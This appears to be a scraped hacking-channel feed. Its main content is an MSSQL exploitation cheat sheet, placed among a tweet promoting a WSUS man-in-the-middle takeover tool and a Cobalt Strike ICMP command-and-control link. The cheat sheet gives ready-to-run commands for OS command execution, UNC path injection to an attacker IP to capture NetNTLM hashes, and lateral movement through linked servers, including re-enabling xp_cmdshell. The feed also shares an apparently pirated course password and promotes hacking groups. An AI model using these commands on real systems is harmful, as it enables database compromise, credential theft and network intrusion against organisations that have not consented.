All Security Engineering Courses

😈 [ Alex Neff @al3x_n3ff ] Releasing a side project of mine: wsuks - automating the WSUS mitm attack🔥 🔗 https://github.com/NeffIsBack/wsuks TL;DR:

If the Windows Server Update Service (WSUS) is configured to use HTTP instead of HTTPS, it's possible to take control of any Windows machine on your local network.

🐥 [ tweet ]

MSSQL Exploitation Techniques 🔹 External Scripts (Python/R) – Allows executing Python & R code in Microsoft SQL Server.

-- Execute Python script
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'

-- Execute R script
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
 

PowerUpSQL Commands:

# Remote Execution
Invoke-SQLOSCmdPython -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"
Invoke-SQLOSCmdR -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"

# Local Execution
Get-SQLInstanceLocal | Invoke-SQLOSCmdPython -Verbose -Command "whoami"
Get-SQLInstanceLocal | Invoke-SQLOSCmdR -Verbose -Command "whoami"

🔹 UNC Path Injection – Extracts NetNTLM hashes via SMB.

EXEC xp_cmdshell 'net use Z:\\YOUR_IP\share';

PowerUpSQL Command:

Invoke-SQLUncPathInjection -Verbose -CaptureIp YourResponderHost

🔹 Lateral Movement via Linked Servers Linked Servers allow connections to other SQL Servers, MySQL, Oracle, PostgreSQL, and more.

-- List Linked Servers
EXEC sp_linkedservers;

-- Execute command on remote server
EXEC ('whoami') AT [LINKED_SERVER];

PowerUpSQL Commands:

# Find linked servers
Get-SQLServerLink -Instance YourInstance -Verbose

# Check privileges on remote server
Get-SQLServerLinkCrawl -Instance YourInstance -Verbose

# Enable xp_cmdshell on linked server
Get-SQLServerLinkCrawl -Instance YourInstance -Query "EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT YOUR_LINKED_SERVER"

🔥 That's all, friends! Happy hacking and see you next time! 🚀

#RedTeam #MSSQL #BugBounty #CyberSecurity

EC Council course : Certified DevSec Ops Engineer Password - @FsKnockouT website - www.fsknockout.com Join our groups for more Hacking 👹Join Telegram Group:- https://t.me/SuBoXoneSoCiety 👿Join Whatsapp community group:https://whatsapp.com/channel/0029VaGX1X47T8bP63aZhb22

CS-EXTC2-ICMP An ICMP channel for Beacons, implemented using Cobalt Strike’s External C2 framework. Blog: https://ryanq47.github.io//posts/CobaltStrike_ICMP_Tunnel/